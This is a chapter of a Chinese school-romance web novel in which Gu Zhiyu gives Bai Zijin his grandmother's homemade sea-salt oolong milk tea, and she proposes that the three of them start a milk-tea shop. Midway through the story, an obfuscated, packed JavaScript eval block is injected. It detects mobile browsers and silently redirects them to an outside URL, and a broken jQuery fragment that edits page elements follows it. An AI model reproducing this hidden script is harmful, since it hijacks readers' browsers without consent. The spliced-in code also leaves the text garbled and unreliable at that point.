顾知聿一早上过得索然无味，机械的听课，机械的刷题，机械的听从老师的指挥，分配各项任务，整个人如同行尸走肉，像是童话故事里被公主抽离魂魄的骑士，触发机关后，心中浮现公主的倩影，久久不能散去。


    这样的状态一直持续到中午去食堂吃饭，他竟然会在进入食堂时，于茫茫人海中扫视，会在打完菜后，挨桌去探寻，几番皆是无果。


    他突然意识到，俗套的一见钟情发生在了自己身上。


    这样无端的行径，惹来同伴的嘲笑，被好友再三逼问之下，顾知聿只能半推半就的说了个大概。语气含糊，脸泛潮红，一副铁树开花的不争气样。言语之间，他把白子衿描述的尽可能确切，像是迷雾中的精灵，森林中的小鹿，横竖不似凡人。


    好友直呼肉麻，根本无法想象出女生的具体面貌，但又不忍见他不知西东的糊涂下去，于是集思广益，决定让他去买杯奶茶守株待兔。顾知聿没有此类经验，只好克服脸皮薄的性子，一直守在勤学楼门口，被来往的学生打量。


    他不好意思的垂头，内心煎熬，关于羞涩，关于未知，关于不安。


    直到身后传来清脆的声音，她在说：“嘿，又见面了。”语气中夹杂着丝丝喜意。


    那一瞬间，阳光明媚，绿树成荫，风也温柔，花也芬芳，世界灿烂。


    白子衿探寻的看着他，感觉他气质变了，不似早上高冷。


    顾知聿唇角略弯，眼神闪躲，不敢直视白子衿，将手中的奶茶递上。


    “这是给我的吗？”白子衿接过，拨开塑料袋，将它拿在手中来回看。


    他想赶忙点头，脑中回想起好友说的——太容易得到的东西，会让人不珍惜。有意控制下，他敛起微笑，矜持道：“随手带的，回你早上的祝福。”


    “啊？”白子衿被他的说辞整懵了，照这样说，要送东西的人也应该是她才对，“你呢？有什么想要的吗？太贵的不行哦。”白子衿正好在琢磨趁暑假两个月的空挡，在学校附近找个兼职，一边打工一边备考，坐吃山空总不是回事。


    顾知聿蹙眉，注意到往来的学生比刚刚更多了，再过会老师也会接连从宿舍里出来，不是继续说话的好地方，他提议：“要不我们去前面聊？这里有点显眼。”


    白子衿挑眉，边跟着他走边试探道：“你平时也是这么约其他女生的？前面小树林那片是我们学校的情侣圣地，校领导时不时在那蹲点抓人，我们班上一个男生以前被抓个正着，还在校广播里通报批评。”


    顾知聿步伐一个趔趄，险些摔倒，好在白子衿跟在他后头，及时拽住他前倾的胳膊。见他站稳后，迅速放下。


    她果决避嫌的举动，让顾知聿行动慌张起来，匆忙到手足无措，向她解释：“你说的这些我从来都没关注过，不存在约其他女生的情况，你可以去问我身边的人，他们都能为我作证，我只是觉得这里人多眼杂的，怕老师误会你，给你带来不好的影响，这才拉着你往前走走，更不清楚所谓的情侣圣地，我以为那里只是人少一点。”


    他的语速急切，配合着双手快速摇摆，小狗眼中水灵灵的，看上去无措极了。


    白子衿承认她有一瞬间的质疑，不过随着他的慌乱消散，但他这副模样实在有趣：“我来嘉南一个月的都知道这些，你都在这呆了三年了，还装作不知道吗？”


    “我不喜欢管这些事，只会在意想在意的。”话不经过脑子，脱口而出。


    白子衿笑吟吟问：“只会在意想在意的？指的是什么？”


    顾知聿说多错多，脸红到耳根子上：“......”


    “我们往前走一段吧，你刚刚想跟我说什么，想好要什么答谢吗？”看他这样子，白子衿自觉跳过这个话题，现在大街上的帅哥越来越少，帅而自知的更加油腻，难得遇到一个清爽的，谈吐也正常，留着以观后效。


    说到此，他有些局促，以他们之间浅显的交情不适合问这个问题，可耐不住内心的挣扎：“你是遇到困难了吗？”他急忙补充：“我不是有意窥探隐私，只是见你今天一大早就拿着行李箱，身边连帮忙的人都没有，而且你还说..”


    他话未完，就被白子衿接上：“还说缺钱对吗？不算遇到麻烦，放心好了，答谢你不成问题，快想想送你什么好？”她对此一笔带过，快速跳过话题。


    心中却并非一点波澜都没起，原来顾知聿今早这么热情的帮忙，全是因为她看起来很狼狈？换而言之，那就跟好看，优雅，美丽不沾边，她还以为自己是柔弱形象，这样的话手中的这杯奶茶是出于同情给的？他不会以为自己是被赶出家门的吧...


    顾知聿不知她心里的百转千回，只是老实摇头：“我暂时还没有，就先留着。等我想到了再说，可以吗？”


    白子衿皮笑肉不笑：“当然。”


    他硬扯话题：“你在宿舍里还适应吗？那儿的环境怎么样？”


    “还行，我中午才搬进来，还得适应两天。”她提了提奶茶袋子，“等你想好喜欢什么就告知我，先干为敬了，谢谢你的投喂，回了。”


    这样尬聊没意思，还不如回教室多背点书。


    顾知聿的失落挂在脸上，尤不自知，强撑起一个笑容，跟刚刚见着她时所展露出的天差地别，笑的比哭难看。


    这般情形惹得白子衿好笑，可比他强找话题有意思多了。不过话说回来，他们早上只匆匆见了第一面，简单的聊了几句，哪来的深情厚谊，就迷得大帅哥上前示好，眼前一切更像幻觉了。


    白子衿顺势撕掉吸管的塑料纸，插进奶茶里，猛吸一口，冷静一下。


    奶茶顺滑可口，牛乳和乌龙茶配合的恰到好处，她还尝出了一点咸咸的滋味，醇厚明朗，咽下后满口余香，好惊艳的味道！


    白子衿的注意力立刻转移，嗅到商机，拿起奶茶翻看上头的标签信息——海盐乌龙奶茶，难怪不似普通奶茶的甜腻，咸中带甜，恰好中和了甜味。


    上面的店名标注的字迹很小，凑近距离一看——温馨奶茶店。


    白子衿：“......”


    再取名废也不该起这样的名称，白白浪费了手艺，路人一瞅见这名字，一大半都会望而止步，转身去大品牌奶茶店，不会愿意去不知名小店里踩雷。顾知聿看起来傻傻的，但在吃食方面倒是讲究的，随手送出的一杯奶茶，无名却好喝。


    一看就是只要酒够香，不怕巷子深的人。


    片刻时间，心思百转千回，而顾知聿还在两眼巴巴的等待她的评价，不愿意就这么简单离开，主打一个能拖一会是一会。


    白子衿不加掩饰的夸赞：“好醇厚的奶茶！茶香不涩口配上丝滑牛乳，略微咸口，和平常喝的甜奶茶是两个风味！”


    现实世界里的奶茶早已五花八门，奶茶这个暴利行业被各大巨头品牌瓜分市场，过了再创新的机会，饱和到小店面夹缝生存的地方都没有。从物美价廉到品种多样再到追求健康，每一个消费者的需要都有与之对应的品牌。


    而现在呢，奶茶店里的品种少且味道单一。例如，红豆奶茶，珍珠奶茶，香芋奶茶，甚至学校门口还有粉泡奶茶，发展的空间不要太大了。


    更别说以这店主手艺加上创新水平，想要抢占现在的空白市场不难。


    顾知聿依旧在那跟傻子一样道：“你喜欢就好，明天还给你带。”


    “能告诉我店面在哪吗？我想去看看。”


    他有些不解，但答应：“好，我带你去，事先说明那是我家。”


    白子衿：“？”


    顾知聿看出了她的疑惑，笑容里颇有些自得：“是我奶奶做的。”


    她不敢置信的瞪大眼，果然有能力的人是不限年龄的，她还以为是年轻小姑娘做的。


    “奶奶年纪多大了？店面在家里？还是说奶茶只是她自制的？”


    白子衿的问题跟串葡萄似的，但顾知聿没有一点不耐烦的情绪，相反他为话题的延续而心生欢喜，这下自己不用被赶走了：“她挺年轻的，才61岁。因为比较喜欢吃甜食，身体又好，没有糖尿病的烦恼，就喜欢自个在家里倒腾点新意，也没有在外面开店，只是逢年过节的时候做上几杯送给左邻右舍尝个味。”


    “至于它的包装，都是家里阿姨负责，仿外面奶茶店的。”


    白子衿眼睛一亮又一亮，这不就是瞌睡了有人送枕头！她看向顾知聿的眼神都变了，从预备暧昧对象直接晋升成金光闪闪，带她发家致富的恩人。况且观他这通身气质，行为举止，一看就不是个差钱的主，成功的希望更大了！


    一个商业计划在她脑中迅速成型，想来顾知聿是个人傻钱多的，看他今天殷勤表现，她有七八成的把握，他能帮她。


    “奶奶是什么性格，好说话嘛？”


    顾知聿这下彻底懵了，明明是两个人在聊天，总觉得中间隔了个人：“她性格很好的，退休前是大学老师。”


    “这么好的手艺，没想过开店吗？”


    “家里不差这点钱，她才退休，爸妈都想她在家里好好休息。”


    白子衿发觉漏洞，追问：“她自己呢？”


    “不清楚，没听她提起过。”


    六十岁的退休人士，正是空闲的时期。身边子女都在工作，更小的一辈已然长成，再说现在又不是10多年后，人手一部手机刷视频，就连微信都才问世。平时看看书，看看电视，只要他奶奶有一点闲不住的心思，她就有信心把死的说成活的。


    白子衿眼中是掩饰不住的野心，她蛊惑的说道：“想赚钱吗，想靠自己的能力发财吗，想赶上时代风口做上市公司吗？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906470|176164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顾知聿：“......”


    他一脸无措的望着眼前判若两人的少女，觉得自己突然进了传销组织。


    白子衿见他不吃这套，话风一变，打同情牌：“唉，实话跟你说吧，我妈今年再婚，把原先的工作也辞了，带着我一起住到了继父家里，看人眼色过活。”


    边说她便观察他反应，见他眼中流露出心疼意味，继续道：“我在那生活的很压抑，还总是被继兄欺负取乐，继父想让我选理科，正好跟他儿子一个班。我不想再受控制，拒绝了他们提出的条件，触底反弹，就变成现在这样了。我很缺钱，特别缺钱。”


    顾知聿眉头紧皱，厌恶他们的行径：“当断不断，必受其乱。钱的事不用担心，我有钱，你要多少我都有。”


    “可以借给我？”


    他眼都不眨：“可以给你。”


    白子衿诧异不已，这是哪来的地主家的傻儿子！天上掉馅饼，也没见过的散财童子，果然有钱任性，她得寸进尺的提条件：“我不要你的钱，我能挣钱，但是需要你帮我。如果能够做成，是互惠互利的双赢。”


    顾知聿又不是真傻，联系前后，立马领悟到她的意图：“你想和我奶奶开一家奶茶店？”


    她赞道：“对！不过不是我和她，而是我们三。”


    他淡定点头，接受良好：“好，我们三个合伙，晚上回去就跟她商量。”


    白子衿忙不点头：“正好我晚上回去做个商业计划书，等准备齐全了再去。你记得在奶奶面前多为我美言几句，姐姐带你发大财啊~”


    说完，她一手抱书，一手拿着奶茶，脚步轻盈的往班里走去。


    顾知聿痴痴望着她离去的背影，久不能离开，就连他自己都不理解。之前也不是看到女生挪不动道的人，怎么区区一天就魂不守舍的，一看到她就止不住的开心。


    真怪。


    但感觉不赖。


    ——


    等白子衿回到班上，看到自己座位被人坐了，七八个女生以杨知微为中心环绕着聊天，表情夸张且状态亢奋，不知道的还以为在聊惊天大八卦。


    她不是一个热衷于八卦的人，但不会否决她们的解压乐趣。缓步上前，示意占座的女生起来换个位置聊天，没有出声打搅她们的谈性。


    女生立马会意站了起来，身体往杨知微周围的小团体靠拢，冲她友好一笑。白子衿坐下后，打开看到一半的政治手札，边看边吸溜奶茶。


    “诶，子衿你也买奶茶喝啦？”杨知微凑过头来，想跟着喝一口尝尝味。


    白子衿把奶茶递给她：“‘也’？你买奶茶了？”眼神在她桌上扫视，空空如也。


    杨知微喝了一口又一口，直呼好喝，“我没买呀，吃完饭回来就看到学校的大帅哥在楼下提着奶茶等人，百年难得一见的情形，你瞧见了不？话说你这奶茶怪好喝的，在哪买的，我放学也去搞一杯喝喝。”她恋恋不舍的把奶茶还回白子衿手中，咂摸着嘴回味。


    周围脸熟但叫不上名的女生们跟着激动，不是冲着奶茶，是冲着人。


    话题一挑，她们开始你一言我一语的讨论：


    “当然看见了，比选秀里的男生长得都要俊，直接出道吧，求求了，我一定给他投票。”


    “我还想要上前打招呼，但脚不允许我上前。”


    “说不定我们学校以后会全国闻名，会出个大明星。”


    “我看不一定吧，他看上去文质彬彬的，说不准去搞学术，别忘了他理科一直都在第一，没下去过。怎么会有人脸生的好看，脑袋还聪明，家境也这么优越的，太不公平了！”


    “君生我未生，我生君已老...”一个女生状似忧愁道。


    “我呸，哪里老了！”


    “哎哟，这不是过过嘴瘾，别当真嘛——”


    大帅哥的待遇就是不一样，走到哪里讨论度就在哪。


    白子衿扯了扯杨知微的衣角，贴耳问道：“你们讨论的是顾知聿吗？”


    杨知微看她的眼神充满了稀奇，五官乱窜，挤眉弄眼：“不然呢？难不成还是蒋淮阳？”


    白子衿发现她的另类风趣，语调平静却出其不意的惊人，被她逗得破功，“别东拉西扯的，你们聊，我看会书。”


    人总是奇怪，顾知聿被夸，她竟然也跟着高兴，还有着说不清道不明的小窃喜，再来看书都不觉枯燥，上头的字都跟着可爱起来，在眼前跳动，片刻窜入脑中。


    直到预备铃想起，成堆站在栏杆边上晒太阳看热闹的人涌进班里，瞬时人声鼎沸，是老师迈入教室前最后的狂欢。


    人多嘴杂，杨知微被众声环绕，各种八卦不绝于耳，她不可置信的转头看向身旁的同桌，第一次发现她竟闷骚至此。


    突如其来的背叛直冲脑门，对她喊到：“你骗我！”